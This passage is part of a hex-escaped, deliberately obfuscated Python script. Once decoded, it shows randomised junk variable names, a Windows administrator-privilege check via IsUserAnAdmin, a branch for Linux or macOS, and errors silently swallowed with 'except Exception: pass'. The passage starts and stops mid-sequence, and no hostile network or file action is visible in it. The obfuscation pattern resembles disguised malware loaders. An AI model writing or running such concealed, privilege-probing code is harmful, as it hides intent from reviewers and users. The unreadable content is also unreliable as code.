x42\x66\x45\x49\x49\x46\x41\x42\x49\x44\x68\x6d\x79\x54\x48\x47\x52\x42\x45\x50\x4b\x62\x45\x6a\x77\x74\x44\x72\x73\x52\x52\x6f\x72\x4f\x44\x6a\x76\x43\x48\x74\x44\x72\x74\x78\x53\x53\x48\x5a\x76\x6d\x45\x59\x45\x59\x77\x55\x43\x72\x71\x43\x77\x4f\x77\x51\x53\x71\x48\x48\x46\x56\x6e\x43\x72\x45\x42\x44\x73\x7a\x4a\x69\x77\x6e\x74\x72\x53\x50\x69\x72\x74\x46\x50\x74\x48\x4a\x48\x42\x46\x44\x79\x79\x4e\x45\x76\x52\x41\x55\x6d\x4c\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7a\x42\x53\x53\x49\x43\x45\x45\x6b\x45\x58\x78\x78\x49\x4a\x50\x77\x50\x72\x43\x57\x79\x58\x7a\x41\x41\x6c\x56\x4a\x68\x49\x49\x50\x43\x71\x46\x43\x77\x47\x52\x67\x47\x7a\x74\x77\x49\x71\x77\x55\x52\x7a\x55\x74\x77\x6c\x46\x48\x41\x78\x52\x56\x67\x52\x45\x41\x76\x48\x47\x6a\x75\x53\x65\x4d\x79\x4a\x75\x50\x5a\x50\x77\x73\x44\x49\x72\x53\x72\x48\x57\x6c\x48\x53\x7a\x51\x6b\x44\x43\x46\x44\x43\x57\x70\x43\x47\x7a\x47\x58\x53\x41\x6e\x51\x43\x69\x48\x41\x49\x55\x51\x69\x49\x58\x48\x6c\x57\x53\x77\x4d\x50\x20\x3d\x20\x41\x49\x79\x4a\x70\x47\x52\x79\x54\x79\x73\x5a\x4c\x42\x6f\x72\x4a\x44\x48\x46\x46\x6e\x6d\x73\x6b\x71\x69\x49\x41\x50\x70\x42\x71\x45\x71\x70\x73\x5a\x43\x69\x51\x6b\x4c\x79\x52\x50\x46\x52\x75\x51\x58\x6e\x75\x73\x46\x41\x45\x7a\x49\x45\x79\x61\x76\x51\x72\x45\x43\x65\x7a\x48\x49\x48\x53\x65\x42\x49\x6c\x71\x50\x53\x4a\x75\x49\x48\x53\x72\x4e\x75\x43\x74\x6a\x79\x46\x4f\x48\x42\x44\x51\x70\x7a\x58\x76\x4d\x76\x48\x4e\x6d\x55\x4a\x74\x44\x72\x49\x44\x52\x49\x73\x48\x46\x79\x79\x4a\x46\x75\x5a\x77\x47\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x65\x78\x63\x65\x70\x74\x20\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x73\x73\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x79\x45\x66\x7a\x6e\x70\x5a\x42\x46\x4a\x77\x46\x46\x6a\x4d\x73\x53\x74\x47\x79\x46\x78\x71\x6f\x47\x49\x76\x73\x53\x73\x72\x71\x74\x4a\x58\x44\x43\x47\x47\x53\x54\x78\x6e\x43\x78\x46\x77\x63\x49\x75\x76\x4f\x73\x44\x4a\x45\x75\x4a\x65\x46\x56\x73\x42\x46\x52\x71\x42\x41\x42\x74\x71\x70\x48\x76\x49\x72\x45\x73\x73\x67\x52\x4b\x51\x73\x4f\x77\x53\x41\x6a\x53\x53\x6a\x64\x49\x74\x78\x77\x79\x71\x43\x46\x51\x65\x58\x50\x58\x72\x72\x77\x4d\x73\x4f\x48\x49\x51\x74\x77\x6c\x68\x6d\x4f\x52\x6d\x78\x4a\x78\x52\x20\x3d\x20\x63\x74\x79\x70\x65\x73\x2e\x77\x69\x6e\x64\x6c\x6c\x2e\x73\x68\x65\x6c\x6c\x33\x32\x2e\x49\x73\x55\x73\x65\x72\x41\x6e\x41\x64\x6d\x69\x6e\x28\x29\x20\x21\x3d\x20\x30\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x45\x78\x45\x76\x75\x52\x53\x43\x44\x5a\x6e\x47\x77\x7a\x74\x6a\x74\x42\x6e\x4c\x72\x41\x53\x57\x75\x73\x46\x69\x6f\x45\x44\x53\x4a\x77\x79\x45\x76\x48\x6e\x49\x53\x7a\x47\x7a\x43\x58\x41\x4c\x4f\x48\x67\x41\x45\x74\x6f\x44\x43\x75\x59\x76\x71\x6e\x48\x44\x6d\x47\x6c\x7a\x53\x41\x79\x7a\x52\x4d\x49\x52\x47\x6e\x77\x42\x51\x49\x58\x74\x43\x53\x41\x46\x4a\x75\x52\x5a\x41\x43\x43\x47\x4a\x6b\x54\x71\x6f\x73\x41\x50\x4f\x7a\x7a\x6d\x76\x75\x53\x72\x6b\x49\x74\x49\x79\x6d\x74\x48\x6e\x73\x49\x76\x4a\x73\x4a\x20\x3d\x20\x27\x4a\x43\x72\x6a\x6f\x59\x74\x47\x47\x75\x44\x69\x7a\x76\x75\x51\x73\x46\x7a\x51\x50\x77\x46\x47\x50\x43\x46\x72\x4f\x4a\x7a\x6f\x69\x44\x6a\x75\x45\x72\x71\x65\x4d\x57\x42\x45\x48\x4f\x77\x72\x46\x57\x42\x58\x56\x45\x53\x53\x58\x57\x4a\x75\x75\x70\x52\x78\x55\x46\x78\x6e\x4e\x79\x41\x47\x42\x47\x45\x6a\x53\x42\x79\x4a\x44\x77\x41\x53\x4a\x49\x43\x75\x71\x51\x43\x72\x50\x4f\x46\x53\x78\x58\x54\x79\x4f\x44\x51\x6f\x74\x46\x76\x43\x4a\x49\x47\x56\x4f\x78\x77\x43\x67\x46\x6b\x56\x51\x44\x51\x6d\x44\x71\x49\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x75\x51\x47\x79\x74\x50\x78\x41\x47\x4a\x44\x78\x71\x6b\x56\x41\x6f\x42\x45\x53\x6b\x74\x4a\x52\x4a\x70\x76\x6a\x45\x46\x78\x76\x53\x46\x4e\x52\x67\x48\x4d\x52\x4b\x4a\x78\x6f\x75\x47\x48\x4f\x75\x7a\x79\x45\x57\x6e\x47\x4a\x55\x42\x74\x61\x70\x75\x50\x7a\x53\x42\x75\x6a\x6c\x70\x66\x58\x51\x4f\x48\x4a\x44\x6e\x4a\x43\x5a\x6f\x72\x57\x44\x43\x71\x74\x7a\x54\x6d\x4d\x6e\x49\x46\x70\x42\x48\x42\x53\x77\x59\x4f\x73\x41\x6c\x47\x6c\x73\x72\x4f\x50\x43\x48\x6c\x44\x51\x48\x42\x45\x47\x52\x53\x6a\x59\x47\x4e\x20\x3d\x20\x27\x69\x6a\x41\x51\x77\x45\x48\x73\x43\x54\x44\x42\x46\x44\x47\x70\x6e\x53\x41\x6a\x52\x6c\x45\x6e\x7a\x48\x74\x75\x76\x76\x6e\x42\x78\x46\x76\x6f\x48\x4e\x42\x6e\x49\x64\x74\x45\x6a\x44\x6d\x58\x67\x65\x44\x69\x4a\x6e\x51\x7a\x6b\x50\x49\x45\x51\x63\x4a\x43\x49\x71\x6a\x68\x43\x72\x4f\x66\x58\x50\x6d\x45\x52\x6d\x73\x44\x43\x51\x47\x4a\x6f\x71\x43\x74\x70\x58\x44\x43\x42\x55\x73\x43\x49\x51\x52\x53\x70\x76\x75\x43\x42\x51\x6c\x47\x51\x77\x4c\x61\x50\x7a\x44\x76\x70\x6c\x77\x45\x74\x4d\x51\x7a\x71\x52\x73\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x45\x78\x45\x76\x75\x52\x53\x43\x44\x5a\x6e\x47\x77\x7a\x74\x6a\x74\x42\x6e\x4c\x72\x41\x53\x57\x75\x73\x46\x69\x6f\x45\x44\x53\x4a\x77\x79\x45\x76\x48\x6e\x49\x53\x7a\x47\x7a\x43\x58\x41\x4c\x4f\x48\x67\x41\x45\x74\x6f\x44\x43\x75\x59\x76\x71\x6e\x48\x44\x6d\x47\x6c\x7a\x53\x41\x79\x7a\x52\x4d\x49\x52\x47\x6e\x77\x42\x51\x49\x58\x74\x43\x53\x41\x46\x4a\x75\x52\x5a\x41\x43\x43\x47\x4a\x6b\x54\x71\x6f\x73\x41\x50\x4f\x7a\x7a\x6d\x76\x75\x53\x72\x6b\x49\x74\x49\x79\x6d\x74\x48\x6e\x73\x49\x76\x4a\x73\x4a\x20\x21\x3d\x20\x75\x51\x47\x79\x74\x50\x78\x41\x47\x4a\x44\x78\x71\x6b\x56\x41\x6f\x42\x45\x53\x6b\x74\x4a\x52\x4a\x70\x76\x6a\x45\x46\x78\x76\x53\x46\x4e\x52\x67\x48\x4d\x52\x4b\x4a\x78\x6f\x75\x47\x48\x4f\x75\x7a\x79\x45\x57\x6e\x47\x4a\x55\x42\x74\x61\x70\x75\x50\x7a\x53\x42\x75\x6a\x6c\x70\x66\x58\x51\x4f\x48\x4a\x44\x6e\x4a\x43\x5a\x6f\x72\x57\x44\x43\x71\x74\x7a\x54\x6d\x4d\x6e\x49\x46\x70\x42\x48\x42\x53\x77\x59\x4f\x73\x41\x6c\x47\x6c\x73\x72\x4f\x50\x43\x48\x6c\x44\x51\x48\x42\x45\x47\x52\x53\x6a\x59\x47\x4e\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x45\x78\x45\x76\x75\x52\x53\x43\x44\x5a\x6e\x47\x77\x7a\x74\x6a\x74\x42\x6e\x4c\x72\x41\x53\x57\x75\x73\x46\x69\x6f\x45\x44\x53\x4a\x77\x79\x45\x76\x48\x6e\x49\x53\x7a\x47\x7a\x43\x58\x41\x4c\x4f\x48\x67\x41\x45\x74\x6f\x44\x43\x75\x59\x76\x71\x6e\x48\x44\x6d\x47\x6c\x7a\x53\x41\x79\x7a\x52\x4d\x49\x52\x47\x6e\x77\x42\x51\x49\x58\x74\x43\x53\x41\x46\x4a\x75\x52\x5a\x41\x43\x43\x47\x4a\x6b\x54\x71\x6f\x73\x41\x50\x4f\x7a\x7a\x6d\x76\x75\x53\x72\x6b\x49\x74\x49\x79\x6d\x74\x48\x6e\x73\x49\x76\x4a\x73\x4a\x20\x3d\x20\x27\x69\x6a\x41\x51\x77\x45\x48\x73\x43\x54\x44\x42\x46\x44\x47\x70\x6e\x53\x41\x6a\x52\x6c\x45\x6e\x7a\x48\x74\x75\x76\x76\x6e\x42\x78\x46\x76\x6f\x48\x4e\x42\x6e\x49\x64\x74\x45\x6a\x44\x6d\x58\x67\x65\x44\x69\x4a\x6e\x51\x7a\x6b\x50\x49\x45\x51\x63\x4a\x43\x49\x71\x6a\x68\x43\x72\x4f\x66\x58\x50\x6d\x45\x52\x6d\x73\x44\x43\x51\x47\x4a\x6f\x71\x43\x74\x70\x58\x44\x43\x42\x55\x73\x43\x49\x51\x52\x53\x70\x76\x75\x43\x42\x51\x6c\x47\x51\x77\x4c\x61\x50\x7a\x44\x76\x70\x6c\x77\x45\x74\x4d\x51\x7a\x71\x52\x73\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x75\x51\x47\x79\x74\x50\x78\x41\x47\x4a\x44\x78\x71\x6b\x56\x41\x6f\x42\x45\x53\x6b\x74\x4a\x52\x4a\x70\x76\x6a\x45\x46\x78\x76\x53\x46\x4e\x52\x67\x48\x4d\x52\x4b\x4a\x78\x6f\x75\x47\x48\x4f\x75\x7a\x79\x45\x57\x6e\x47\x4a\x55\x42\x74\x61\x70\x75\x50\x7a\x53\x42\x75\x6a\x6c\x70\x66\x58\x51\x4f\x48\x4a\x44\x6e\x4a\x43\x5a\x6f\x72\x57\x44\x43\x71\x74\x7a\x54\x6d\x4d\x6e\x49\x46\x70\x42\x48\x42\x53\x77\x59\x4f\x73\x41\x6c\x47\x6c\x73\x72\x4f\x50\x43\x48\x6c\x44\x51\x48\x42\x45\x47\x52\x53\x6a\x59\x47\x4e\x20\x3d\x20\x45\x78\x45\x76\x75\x52\x53\x43\x44\x5a\x6e\x47\x77\x7a\x74\x6a\x74\x42\x6e\x4c\x72\x41\x53\x57\x75\x73\x46\x69\x6f\x45\x44\x53\x4a\x77\x79\x45\x76\x48\x6e\x49\x53\x7a\x47\x7a\x43\x58\x41\x4c\x4f\x48\x67\x41\x45\x74\x6f\x44\x43\x75\x59\x76\x71\x6e\x48\x44\x6d\x47\x6c\x7a\x53\x41\x79\x7a\x52\x4d\x49\x52\x47\x6e\x77\x42\x51\x49\x58\x74\x43\x53\x41\x46\x4a\x75\x52\x5a\x41\x43\x43\x47\x4a\x6b\x54\x71\x6f\x73\x41\x50\x4f\x7a\x7a\x6d\x76\x75\x53\x72\x6b\x49\x74\x49\x79\x6d\x74\x48\x6e\x73\x49\x76\x4a\x73\x4a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x45\x78\x45\x76\x75\x52\x53\x43\x44\x5a\x6e\x47\x77\x7a\x74\x6a\x74\x42\x6e\x4c\x72\x41\x53\x57\x75\x73\x46\x69\x6f\x45\x44\x53\x4a\x77\x79\x45\x76\x48\x6e\x49\x53\x7a\x47\x7a\x43\x58\x41\x4c\x4f\x48\x67\x41\x45\x74\x6f\x44\x43\x75\x59\x76\x71\x6e\x48\x44\x6d\x47\x6c\x7a\x53\x41\x79\x7a\x52\x4d\x49\x52\x47\x6e\x77\x42\x51\x49\x58\x74\x43\x53\x41\x46\x4a\x75\x52\x5a\x41\x43\x43\x47\x4a\x6b\x54\x71\x6f\x73\x41\x50\x4f\x7a\x7a\x6d\x76\x75\x53\x72\x6b\x49\x74\x49\x79\x6d\x74\x48\x6e\x73\x49\x76\x4a\x73\x4a\x20\x3d\x20\x27\x4a\x43\x72\x6a\x6f\x59\x74\x47\x47\x75\x44\x69\x7a\x76\x75\x51\x73\x46\x7a\x51\x50\x77\x46\x47\x50\x43\x46\x72\x4f\x4a\x7a\x6f\x69\x44\x6a\x75\x45\x72\x71\x65\x4d\x57\x42\x45\x48\x4f\x77\x72\x46\x57\x42\x58\x56\x45\x53\x53\x58\x57\x4a\x75\x75\x70\x52\x78\x55\x46\x78\x6e\x4e\x79\x41\x47\x42\x47\x45\x6a\x53\x42\x79\x4a\x44\x77\x41\x53\x4a\x49\x43\x75\x71\x51\x43\x72\x50\x4f\x46\x53\x78\x58\x54\x79\x4f\x44\x51\x6f\x74\x46\x76\x43\x4a\x49\x47\x56\x4f\x78\x77\x43\x67\x46\x6b\x56\x51\x44\x51\x6d\x44\x71\x49\x27\x0a\x20\x20\x20\x20\x65\x6c\x69\x66\x20\x70\x6c\x61\x74\x5f\x74\x79\x70\x65\x2e\x73\x74\x61\x72\x74\x73\x77\x69\x74\x68\x28\x27\x6c\x69\x6e\x75\x78\x27\x29\x20\x6f\x72\x20\x70\x6c\x61\x74\x66\x6f\x72\x6d\x2e\x73\x74\x61\x72\x74\x73\x77\x69\x74\x68\x28\x27\x64\x61\x72\x77\x69\x6e\x27\x29\x3a\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x74\x72\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x77\x74\x72\x50\x53\x7a\x48\x44\x44\x50\x4a\x52\x50\x46\x67\x62\x42\x6a\x75\x4c\x76\x78\x71\x50\x44\x6a\x70\x51\x49\x48\x43\x42\x53\x41\x75\x73\x49\x52\x45\x56\x61\x48\x41\x73\x70\x45\x72\x78\x70\x75\x6e\x53\x78\x4a\x5a\x78\x74\x7a\x76\x75\x48\x47\x48\x48\x6a\x41\x4a\x4e\x71\x79\x52\x76\x4a\x76\x74\x42\x46\x47\x5a\x75\x6b\x74\x49\x5a\x6e\x49\x42\x41\x50\x65\x42\x74\x47\x4f\x76\x53\x76\x4e\x53\x42\x73\x78\x53\x6c\x4a\x49\x77\x45\x54\x73\x73\x46\x47\x51\x79\x4a\x73\x4e\x4c\x79\x65\x44\x78\x50\x42\x47\x6e\x20\x3d\x20\x27\x65\x45\x72\x4a\x6a\x58\x6e\x4a\x77\x41\x53\x46\x7a\x53\x43\x48\x6c\x43\x74\x58\x53\x74\x76\x46\x68\x65\x73\x53\x52\x7a\x77\x42\x79\x72\x46\x52\x50\x47\x45\x48\x4a\x43\x47\x50\x48\x7a\x77\x4a\x58\x6e\x52\x6f\x55\x6e\x43\x77\x43\x6f\x77\x79\x4d\x51\x7a\x6f\x53\x51\x43\x5a\x45\x79\x4a\x78\x73\x4e\x6d\x76\x75\x48\x78\x73\x74\x50\x6d\x47\x46\x44\x65\x41\x75\x50\x49\x6a\x48\x72\x51\x75\x44\x69\x44\x52\x73\x44\x52\x4e\x44\x41\x76\x51\x4b\x4f\x49\x74\x79\x6e\x49\x54\x6f\x71\x41\x74\x43\x45\x4b\x6b\x6e\x4d\x79\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x56\x71\x52\x50\x6a\x62\x74\x47\x50\x41\x6b\x44\x42\x73\x47\x43\x71\x41\x69\x73\x69\x72\x78\x43\x78\x79\x69\x4f\x76\x4f\x74\x72\x73\x75\x76\x44\x44\x48\x47\x47\x6e\x42\x75\x49\x74\x46\x50\x47\x53\x4a\x73\x52\x79\x59\x78\x52\x44\x58\x4a\x50\x75\x4c\x48\x49\x76\x7a\x4f\x5a\x4e\x75\x53\x4e\x7a\x52\x4f\x48\x78\x68\x74\x69\x7a\x72\x4d\x6f\x4a\x43\x53\x51\x64\x41\x42\x48\x50\x79\x49\x71\x7a\x43\x54\x72\x42\x74\x50\x52\x46\x53\x52\x43\x51\x52\x4a\x47\x48\x75\x75\x50\x78\x57\x6a\x5a\x4f\x54\x79\x43\x42\x62\x76\x20\x3d\x20\x27\x48\x50\x4e\x65\x46\x77\x49\x48\x48\x47\x51\x71\x73\x4f\x50\x51\x53\x43\x48\x41\x49\x4e\x6f\x7a\x49\x7a\x5a\x45\x52\x63\x4f\x43\x78\x76\x4f\x45\x75\x49\x71\x44\x45\x49\x55\x5a\x47\x75\x4e\x6c\x6c\x46\x52\x46\x44\x71\x42\x73\x53\x53\x62\x4f\x41\x48\x77\x46\x46\x4a\x74\x6a\x45\x52\x55\x78\x41\x43\x42\x7a\x49\x76\x49\x70\x41\x77\x48\x70\x6a\x65\x44\x71\x45\x4a\x6b\x47\x53\x79\x79\x75\x6c\x73\x74\x63\x47\x79\x77\x51\x4f\x58\x47\x4e\x4e\x53\x55\x51\x7a\x44\x77\x50\x46\x49\x4e\x48\x5a\x4a\x48\x75\x4a\x70\x74\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6d\x4a\x48\x46\x43\x77\x44\x49\x50\x41\x45\x7a\x4f\x53\x49\x53\x49\x49\x59\x50\x41\x51\x48\x48\x6c\x6e\x61\x4a\x4a\x76\x79\x4f\x73\x6a\x57\x59\x51\x47\x70\x49\x4a\x4d\x7a\x49\x44\x62\x48\x6b\x76\x4f\x54\x43\x79\x79\x79\x74\x41\x43\x4f\x77\x79\x4a\x49\x51\x56\x48\x4e\x4a\x78\x71\x41\x6d\x7a\x6a\x78\x46\x44\x52\x77\x47\x44\x48\x55\x73\x77\x52\x74\x75\x67\x77\x78\x50\x4a\x44\x43\x77\x43\x76\x43\x43\x49\x4e\x74\x58\x4f\x53\x6c\x50\x49\x49\x45\x78\x79\x4e\x4a\x49\x5a\x79\x74\x48\x76\x77\x71\x78\x72\x4a\x51\x20\x3d\x20\x27\x67\x49\x4b\x51\x4a\x70\x47\x66\x43\x48\x44\x79\x77\x48\x78\x51\x44\x71\x4c\x4f\x52\x6f\x51\x51\x46\x6c\x72\x4a\x4a\x65\x5a\x47\x70\x6c\x78\x79\x72\x71\x45\x48\x4a\x49\x76\x4e\x52\x50\x77\x48\x7a\x49\x50\x53\x6f\x46\x6f\x59\x53\x79\x58\x50\x45\x79\x47\x47\x52\x52\x6c\x71\x4a\x55\x46\x45\x41\x71\x76\x42\x72\x48\x72\x6f\x56\x47\x44\x4d\x55\x41\x48\x6f\x42\x47\x47\x41\x71\x75\x57\x56\x41\x50\x47\x47\x63\x6b\x4c\x6e\x75\x48\x53\x73\x48\x48\x73\x75\x78\x72\x49\x53\x67\x45\x45\x4c\x4d\x46\x46\x41\x43\x6d\x51\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x48\x4a\x4d\x42\x76\x76\x4f\x6f\x46\x52\x53\x6a\x53\x71\x74\x49\x72\x78\x4e\x4c\x47\x54\x53\x59\x73\x72\x6d\x51\x68\x66\x52\x73\x7a\x44\x52\x43\x4a\x69\x76\x77\x4f\x76\x53\x52\x47\x71\x77\x5a\x6d\x4a\x47\x78\x6c\x49\x74\x53\x4a\x74\x49\x75\x4e\x42\x43\x51\x74\x53\x75\x43\x48\x73\x74\x52\x7a\x74\x71\x49\x53\x41\x4d\x43\x55\x4e\x76\x4e\x79\x47\x76\x7a\x61\x51\x7a\x78\x53\x53\x41\x4e\x44\x68\x46\x74\x71\x53\x43\x57\x49\x4f\x70\x4e\x41\x6e\x73\x48\x43\x75\x41\x46\x4a\x71\x66\x59\x44\x49\x7a\x51\x43\x50\x73\x20\x3d\x20\x27\x50\x75\x63\x45\x65\x73\x73\x49\x4b\x73\x41\x73\x71\x76\x45\x44\x4a\x71\x6f\x79\x48\x48\x42\x4a\x71\x73\x46\x52\x47\x74\x52\x59\x6b\x75\x41\x6e\x59\x75\x49\x4d\x49\x42\x48\x59\x74\x4e\x4f\x49\x44\x75\x75\x52\x6d\x49\x4a\x44\x41\x79\x6d\x42\x5a\x75\x43\x4a\x76\x68\x50\x47\x42\x4a\x71\x75\x41\x71\x65\x70\x50\x58\x50\x48\x53\x43\x41\x4e\x53\x4d\x45\x52\x45\x74\x76\x42\x4a\x42\x69\x47\x56\x75\x48\x49\x75\x4f\x75\x55\x43\x70\x43\x7a\x47\x47\x75\x76\x72\x41\x47\x76\x48\x54\x44\x75\x53\x7a\x47\x44\x4c\x48\x4f\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x46\x6c\x79\x53\x79\x44\x54\x49\x78\x56\x51\x58\x50\x42\x79\x46\x48\x79\x48\x78\x58\x45\x77\x48\x58\x70\x4a\x6d\x78\x4d\x72\x4a\x69\x77\x68\x79\x78\x41\x43\x77\x6f\x75\x44\x53\x6b\x47\x42\x52\x4e\x46\x79\x47\x78\x74\x41\x57\x43\x6c\x50\x41\x42\x49\x4a\x41\x53\x77\x45\x7a\x53\x4a\x75\x6b\x66\x43\x5a\x66\x75\x43\x79\x67\x6a\x43\x54\x4a\x5a\x7a\x51\x52\x56\x49\x4f\x49\x5a\x57\x71\x41\x44\x41\x53\x47\x46\x48\x6f\x59\x79\x75\x7a\x6b\x72\x42\x45\x4a\x74\x47\x42\x48\x4d\x65\x45\x75\x70\x50\x43\x4d\x70\x44\x20\x3d\x20\x27\x57\x58\x65\x6a\x77\x45\x49\x51\x54\x48\x42\x54\x43\x48\x6d\x46\x51\x76\x74\x6d\x53\x4d\x53\x73\x67\x77\x76\x79\x77\x4e\x6e\x72\x79\x48\x50\x47\x4c\x76\x4c\x48\x73\x73\x53\x45\x45\x47\x48\x48\x43\x6c\x78\x42\x72\x49\x70\x76\x48\x4d\x75\x72\x6d\x79\x48\x77\x4a\x48\x51\x44\x45\x42\x6e\x44\x4a\x73\x4e\x42\x74\x7a\x75\x48\x54\x52\x43\x44\x71\x4a\x4c\x43\x48\x46\x78\x4f\x47\x41\x6d\x67\x54\x67\x52\x71\x70\x48\x53\x79\x48\x52\x51\x6f\x4d\x78\x45\x74\x6e\x65\x45\x52\x75\x53\x79\x44\x76\x51\x75\x41\x6e\x4c\x7a\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x48\x59\x4e\x54\x52\x4d\x49\x44\x41\x76\x77\x50\x78\x52\x51\x52\x78\x52\x4a\x44\x51\x4e\x62\x4f\x56\x79\x69\x74\x6c\x51\x58\x42\x52\x4a\x43\x79\x47\x73\x79\x51\x73\x47\x79\x53\x71\x54\x75\x65\x78\x52\x48\x47\x4e\x73\x46\x4a\x4d\x66\x68\x53\x72\x77\x48\x44\x42\x50\x47\x4a\x53\x45\x59\x50\x4a\x48\x53\x6c\x41\x6f\x49\x43\x48\x5a\x41\x49\x79\x6a\x4a\x52\x76\x72\x68\x76\x7a\x49\x45\x74\x74\x52\x78\x4a\x6d\x6e\x46\x74\x50\x52\x59\x76\x74\x43\x77\x6f\x48\x48\x44\x61\x51\x45\x50\x75\x78\x75\x53\x6f\x53\x51\x51\x20\x3d\x20\x27\x51\x50\x66\x78\x76\x46\x47\x73\x44\x6a\x7a\x48\x70\x72\x7a\x48\x51\x75\x51\x7a\x76\x48\x79\x51\x75\x42\x45\x6b\x42\x44\x53\x73\x73\x71\x4a\x74\x67\x52\x75\x4f\x69\x52\x47\x42\x6e\x53\x77\x76\x77\x78\x45\x53\x50\x41\x70\x45\x47\x51\x6d\x69\x7a\x76\x74\x78\x47\x54\x50\x7a\x47\x49\x53\x45\x53\x53\x44\x4a\x4a\x46\x53\x49\x6b\x79\x52\x7a\x71\x71\x7a\x43\x44\x43\x4d\x51\x49\x42\x48\x49\x75\x76\x46\x44\x76\x47\x76\x46\x52\x42\x41\x54\x48\x46\x7a\x54\x43\x70\x69\x47\x74\x77\x48\x52\x51\x4d\x43\x4e\x4f\x75\x59\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x57\x6a\x4c\x42\x59\x41\x51\x4a\x73\x47\x48\x47\x43\x58\x4f\x43\x71\x73\x71\x7a\x4e\x75\x6f\x54\x70\x53\x4c\x48\x46\x79\x45\x47\x50\x4a\x6c\x52\x43\x45\x43\x76\x7a\x6b\x49\x6c\x48\x79\x56\x49\x7a\x43\x71\x48\x41\x53\x7a\x69\x70\x41\x50\x4e\x53\x50\x75\x50\x52\x53\x41\x49\x52\x78\x70\x48\x71\x53\x77\x6a\x71\x7a\x47\x4a\x48\x41\x72\x47\x53\x50\x43\x4d\x49\x49\x79\x42\x58\x52\x45\x49\x45\x42\x4f\x56\x50\x78\x76\x49\x6a\x75\x53\x74\x6f\x4a\x50\x4f\x50\x6e\x70\x73\x45\x4a\x53\x43\x48\x7a\x44\x45\x53\x47\x42\x20\x3d\x20\x5b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x65\x45\x72\x4a\x6a\x58\x6e\x4a\x77\x41\x53\x46\x7a\x53\x43\x48\x6c\x43\x74\x58\x53\x74\x76\x46\x68\x65\x73\x53\x52\x7a\x77\x42\x79\x72\x46\x52\x50\x47\x45\x48\x4a\x43\x47\x50\x48\x7a\x77\x4a\x58\x6e\x52\x6f\x55\x6e\x43\x77\x43\x6f\x77\x79\x4d\x51\x7a\x6f\x53\x51\x43\x5a\x45\x79\x4a\x78\x73\x4e\x6d\x76\x75\x48\x78\x73\x74\x50\x6d\x47\x46\x44\x65\x41\x75\x50\x49\x6a\x48\x72\x51\x75\x44\x69\x44\x52\x73\x44\x52\x4e\x44\x41\x76\x51\x4b\x4f\x49\x74\x79\x6e\x49\x54\x6f\x71\x41\x74\x43\x45\x4b\x6b\x6e\x4d\x79\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x67\x49\x4b\x51\x4a\x70\x47\x66\x43\x48\x44\x79\x77\x48\x78\x51\x44\x71\x4c\x4f\x52\x6f\x51\x51\x46\x6c\x72\x4a\x4a\x65\x5a\x47\x70\x6c\x78\x79\x72\x71\x45\x48\x4a\x49\x76\x4e\x52\x50\x77\x48\x7a\x49\x50\x53\x6f\x46\x6f\x59\x53\x79\x58\x50\x45\x79\x47\x47\x52\x52\x6c\x71\x4a\x55\x46\x45\x41\x71\x76\x42\x72\x48\x72\x6f\x56\x47\x44\x4d\x55\x41\x48\x6f\x42\x47\x47\x41\x71\x75\x57\x56\x41\x50\x47\x47\x63\x6b\x4c\x6e\x75\x48\x53\x73\x48\x48\x73\x75\x78\x72\x49\x53\x67\x45\x45\x4c\x4d\x46\x46\x41\x43\x6d\x51\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x57\x58\x65\x6a\x77\x45\x49\x51\x54\x48\x42\x54\x43\x48\x6d\x46\x51\x76\x74\x6d\x53\x4d\x53\x73\x67\x77\x76\x79\x77\x4e\x6e\x72\x79\x48\x50\x47\x4c\x76\x4c\x48\x73\x73\x53\x45\x45\x47\x48\x48\x43\x6c\x78\x42\x72\x49\x70\x76\x48\x4d\x75\x72\x6d\x79\x48\x77\x4a\x48\x51\x44\x45\x42\x6e\x44\x4a\x73\x4e\x42\x74\x7a\x75\x48\x54\x52\x43\x44\x71\x4a\x4c\x43\x48\x46\x78\x4f\x47\x41\x6d\x67\x54\x67\x52\x71\x70\x48\x53\x79\x48\x52\x51\x6f\x4d\x78\x45\x74\x6e\x65\x45\x52\x75\x53\x79\x44\x76\x51\x75\x41\x6e\x4c\x7a\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x7a\x71\x6c\x45\x47\x52\x53\x6f\x51\x79\x4a\x76\x49\x71\x76\x6d\x75\x47\x6f\x50\x53\x43\x78\x43\x6d\x49\x48\x53\x45\x74\x79\x59\x53\x42\x49\x43\x43\x7a\x45\x78\x76\x48\x6d\x4a\x76\x46\x78\x73\x70\x56\x54\x42\x6b\x72\x74\x6c\x43\x64\x78\x4e\x44\x45\x64\x53\x72\x51\x47\x43\x51\x43\x74\x49\x41\x76\x53\x6b\x56\x46\x6d\x6d\x7a\x43\x6a\x77\x44\x73\x48\x79\x6d